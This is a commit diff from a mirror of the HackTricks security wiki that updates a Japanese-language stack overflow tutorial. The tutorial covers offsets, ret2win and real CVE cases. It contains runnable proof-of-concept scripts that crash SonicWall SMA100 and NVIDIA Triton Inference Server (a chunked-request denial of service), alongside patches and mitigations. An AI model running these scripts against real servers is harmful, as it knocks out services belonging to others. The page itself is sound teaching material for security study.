mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/binary-exploitation/stack-overflow/README.md'] to ja
This commit is contained in:
parent
adb162df46
commit
2440a0f5f2
@ -4,13 +4,13 @@
|
||||
|
||||
## What is a Stack Overflow
|
||||
|
||||
**スタックオーバーフロー**は、プログラムがスタックに割り当てられた以上のデータを書き込むときに発生する脆弱性です。この余分なデータは**隣接するメモリ空間を上書き**し、正当なデータの破損、制御フローの混乱、そして潜在的には悪意のあるコードの実行を引き起こします。この問題は、入力に対して境界チェックを行わない安全でない関数の使用によってしばしば発生します。
|
||||
**スタックオーバーフロー**は、プログラムがスタックに割り当てられたよりも多くのデータを書き込むときに発生する脆弱性です。この余分なデータは**隣接するメモリ空間を上書き**し、有効なデータの破損、制御フローの混乱、そして潜在的には悪意のあるコードの実行を引き起こします。この問題は、入力に対して境界チェックを行わない安全でない関数の使用によってしばしば発生します。
|
||||
|
||||
この上書きの主な問題は、**保存された命令ポインタ (EIP/RIP)** と**保存されたベースポインタ (EBP/RBP)** が前の関数に戻るために**スタックに保存されている**ことです。したがって、攻撃者はそれらを上書きし、**プログラムの実行フローを制御**できるようになります。
|
||||
|
||||
この脆弱性は通常、関数が**スタックに割り当てられたバイト数以上のバイトをコピーする**ために発生し、他のスタックの部分を上書きできるようになります。
|
||||
この脆弱性は通常、関数が**スタックに割り当てられたバイト数よりも多くのバイトをコピーする**ために発生し、したがってスタックの他の部分を上書きできるようになります。
|
||||
|
||||
この脆弱性に対して一般的な関数には、**`strcpy`, `strcat`, `sprintf`, `gets`**などがあります。また、**`fgets`**、**`read`**、および**`memcpy`**のような**長さ引数**を取る関数も、指定された長さが割り当てられたものより大きい場合に脆弱な方法で使用される可能性があります。
|
||||
この脆弱性に対して一般的な関数には、**`strcpy`, `strcat`, `sprintf`, `gets`**などがあります。また、**`fgets`**、**`read` & `memcpy`**のような**長さ引数**を取る関数も、指定された長さが割り当てられたものより大きい場合に脆弱な方法で使用される可能性があります。
|
||||
|
||||
例えば、以下の関数は脆弱である可能性があります:
|
||||
```c
|
||||
@ -23,9 +23,9 @@ printf("You entered: %s\n", buffer);
|
||||
```
|
||||
### スタックオーバーフローのオフセットを見つける
|
||||
|
||||
スタックオーバーフローを見つける最も一般的な方法は、非常に大きな入力の `A`s を与えることです(例: `python3 -c 'print("A"*1000)'`)そして、**アドレス `0x41414141` にアクセスしようとしたことを示す `Segmentation Fault` を期待します**。
|
||||
スタックオーバーフローを見つける最も一般的な方法は、非常に大きな入力の `A`s を与えることです(例: `python3 -c 'print("A"*1000)'`)そして、**アドレス `0x41414141` にアクセスしようとしたことを示す `Segmentation Fault`** を期待します。
|
||||
|
||||
さらに、スタックオーバーフローの脆弱性があることがわかったら、**リターンアドレスを上書きするために必要なオフセットを見つける必要があります**。これには通常、**De Bruijn シーケンス**が使用されます。これは、サイズ _k_ のアルファベットと長さ _n_ の部分列に対して、**長さ _n_ のすべての可能な部分列がちょうど一度だけ連続した部分列として現れる循環シーケンス**です。
|
||||
さらに、スタックオーバーフローの脆弱性があることがわかったら、**リターンアドレスを上書きするために必要なオフセット**を見つける必要があります。そのために通常は **De Bruijn シーケンス** が使用されます。これは、サイズ _k_ のアルファベットと長さ _n_ の部分列に対して、**長さ _n_ のすべての可能な部分列がちょうど一度だけ連続した部分列として現れる循環シーケンス**です。
|
||||
|
||||
この方法により、手動で EIP を制御するために必要なオフセットを特定する代わりに、これらのシーケンスの1つをパディングとして使用し、上書きされたバイトのオフセットを見つけることが可能です。
|
||||
|
||||
@ -50,14 +50,14 @@ pattern search $rsp #Search the offset given the content of $rsp
|
||||
```
|
||||
## スタックオーバーフローの悪用
|
||||
|
||||
オーバーフロー中(オーバーフローサイズが十分大きいと仮定すると)、スタック内のローカル変数の値を**上書き**することができ、保存された**EBP/RBPおよびEIP/RIP(またはそれ以上)**に到達します。\
|
||||
オーバーフロー中(オーバーフローサイズが十分大きいと仮定すると)、スタック内のローカル変数の値を**上書き**することができ、保存された**EBP/RBPおよびEIP/RIP(またはそれ以上)**に達することができます。\
|
||||
この種の脆弱性を悪用する最も一般的な方法は、**戻りアドレスを変更する**ことで、関数が終了すると**制御フローがユーザーが指定したポインタの場所にリダイレクトされる**ことです。
|
||||
|
||||
しかし、他のシナリオでは、スタック内のいくつかの変数の値を**上書きする**だけで悪用が可能な場合もあります(簡単なCTFチャレンジのように)。
|
||||
しかし、他のシナリオでは、スタック内の**いくつかの変数の値を上書きする**だけで悪用が可能な場合もあります(簡単なCTFチャレンジのように)。
|
||||
|
||||
### Ret2win
|
||||
|
||||
この種のCTFチャレンジでは、バイナリ内に**決して呼び出されない**関数があり、**勝つためにはその関数を呼び出す必要があります**。これらのチャレンジでは、**戻りアドレスを上書きするオフセットを見つけ**、呼び出す**関数のアドレスを見つける**だけで済みます(通常、[**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html)は無効になります)ので、脆弱な関数が戻ると、隠れた関数が呼び出されます:
|
||||
この種のCTFチャレンジでは、バイナリ内に**決して呼び出されない****関数**があり、**勝つために呼び出す必要があります**。これらのチャレンジでは、**戻りアドレスを上書きするオフセット**を見つけ、呼び出す**関数のアドレス**を見つけるだけで済みます(通常、[**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html)は無効になります)ので、脆弱な関数が戻ると、隠れた関数が呼び出されます:
|
||||
|
||||
{{#ref}}
|
||||
ret2win/
|
||||
@ -95,9 +95,9 @@ stack-shellcode/
|
||||
../common-binary-protections-and-bypasses/
|
||||
{{#endref}}
|
||||
|
||||
### 実世界の例: CVE-2025-40596 (SonicWall SMA100)
|
||||
### 実世界の例:CVE-2025-40596 (SonicWall SMA100)
|
||||
|
||||
**`sscanf`は信頼できない入力の解析に決して信頼されるべきではない**理由の良いデモが、2025年にSonicWallのSMA100 SSL-VPNアプライアンスで発生しました。\
|
||||
**`sscanf`は信頼できない入力の解析に決して信頼されるべきではない**理由の良いデモが、2025年にSonicWallのSMA100 SSL-VPNアプライアンスで現れました。\
|
||||
`/usr/src/EasyAccess/bin/httpd`内の脆弱なルーチンは、`/__api__/`で始まる任意のURIからバージョンとエンドポイントを抽出しようとします。
|
||||
```c
|
||||
char version[3];
|
||||
@ -116,12 +116,71 @@ warnings.filterwarnings('ignore')
|
||||
url = "https://TARGET/__api__/v1/" + "A"*3000
|
||||
requests.get(url, verify=False)
|
||||
```
|
||||
スタックカナリアがプロセスを中止させるにもかかわらず、攻撃者は依然として**サービス拒否**のプリミティブを得る(さらに情報漏洩があれば、コード実行も可能)。教訓はシンプルです:
|
||||
スタックカナリアはプロセスを中止させますが、攻撃者は依然として**サービス拒否**のプリミティブを得ます(さらに情報漏洩があれば、コード実行も可能です)。教訓はシンプルです:
|
||||
|
||||
* 常に**最大フィールド幅**を指定する(例:`%511s`)。
|
||||
* `snprintf`/`strncpy_s`のような安全な代替手段を好む。
|
||||
* 常に**最大フィールド幅**を指定してください(例:`%511s`)。
|
||||
* `snprintf`/`strncpy_s`のような安全な代替手段を好んで使用してください。
|
||||
|
||||
### 実世界の例: CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server)
|
||||
|
||||
NVIDIAのTriton Inference Server(≤ v25.06)には、HTTP APIを通じて到達可能な複数の**スタックベースのオーバーフロー**が含まれていました。脆弱なパターンは`http_server.cc`と`sagemaker_server.cc`に繰り返し現れました:
|
||||
```c
|
||||
int n = evbuffer_peek(req->buffer_in, -1, NULL, NULL, 0);
|
||||
if (n > 0) {
|
||||
/* allocates 16 * n bytes on the stack */
|
||||
struct evbuffer_iovec *v = (struct evbuffer_iovec *)
|
||||
alloca(sizeof(struct evbuffer_iovec) * n);
|
||||
...
|
||||
}
|
||||
```
|
||||
1. `evbuffer_peek` (libevent) は、現在の HTTP リクエストボディを構成する **内部バッファセグメントの数** を返します。
|
||||
2. 各セグメントは、**上限なし**で `alloca()` を介して **スタック** に **16バイト** の `evbuffer_iovec` を割り当てます。
|
||||
3. **HTTP _チャンク転送エンコーディング_** を悪用することで、クライアントはリクエストを **数十万の6バイトチャンク** (`"1\r\nA\r\n"`) に分割させることができます。これにより、`n` はスタックが枯渇するまで無制限に成長します。
|
||||
|
||||
#### Proof-of-Concept (DoS)
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
import socket, sys
|
||||
|
||||
def exploit(host="localhost", port=8000, chunks=523_800):
|
||||
s = socket.create_connection((host, port))
|
||||
s.sendall((
|
||||
f"POST /v2/models/add_sub/infer HTTP/1.1\r\n"
|
||||
f"Host: {host}:{port}\r\n"
|
||||
"Content-Type: application/octet-stream\r\n"
|
||||
"Inference-Header-Content-Length: 0\r\n"
|
||||
"Transfer-Encoding: chunked\r\n"
|
||||
"Connection: close\r\n\r\n"
|
||||
).encode())
|
||||
|
||||
for _ in range(chunks): # 6-byte chunk ➜ 16-byte alloc
|
||||
s.send(b"1\r\nA\r\n") # amplification factor ≈ 2.6x
|
||||
s.sendall(b"0\r\n\r\n") # end of chunks
|
||||
s.close()
|
||||
|
||||
if __name__ == "__main__":
|
||||
exploit(*sys.argv[1:])
|
||||
```
|
||||
約3 MBのリクエストで、保存されたリターンアドレスを上書きし、デフォルトビルドでデーモンを**クラッシュ**させるのに十分です。
|
||||
|
||||
#### パッチと緩和策
|
||||
25.07リリースでは、安全でないスタック割り当てを**ヒープバックの`std::vector`**に置き換え、`std::bad_alloc`を優雅に処理します:
|
||||
```c++
|
||||
std::vector<evbuffer_iovec> v_vec;
|
||||
try {
|
||||
v_vec = std::vector<evbuffer_iovec>(n);
|
||||
} catch (const std::bad_alloc &e) {
|
||||
return TRITONSERVER_ErrorNew(TRITONSERVER_ERROR_INVALID_ARG, "alloc failed");
|
||||
}
|
||||
struct evbuffer_iovec *v = v_vec.data();
|
||||
```
|
||||
教訓:
|
||||
* 攻撃者が制御するサイズで `alloca()` を呼び出さないこと。
|
||||
* チャンク化されたリクエストは、サーバー側のバッファの形状を大きく変える可能性がある。
|
||||
* メモリ割り当てに使用する前に、クライアント入力から派生した値を検証/制限すること。
|
||||
|
||||
## 参考文献
|
||||
* [watchTowr Labs – Stack Overflows, Heap Overflows and Existential Dread (SonicWall SMA100)](https://labs.watchtowr.com/stack-overflows-heap-overflows-and-existential-dread-sonicwall-sma100-cve-2025-40596-cve-2025-40597-and-cve-2025-40598/)
|
||||
* [Trail of Bits – Uncovering memory corruption in NVIDIA Triton](https://blog.trailofbits.com/2025/08/04/uncovering-memory-corruption-in-nvidia-triton-as-a-new-hire/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user